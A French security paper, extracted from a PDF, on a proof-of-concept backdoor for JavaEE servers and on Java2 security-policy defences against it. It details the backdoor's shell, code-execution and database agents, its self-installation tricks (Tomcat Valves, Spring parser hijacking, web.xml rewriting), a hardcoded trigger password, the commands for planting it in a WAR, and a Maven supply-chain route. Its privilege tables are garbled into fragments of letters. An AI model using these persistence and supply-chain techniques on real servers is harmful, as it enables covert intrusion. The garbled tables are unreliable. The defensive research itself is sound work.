Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
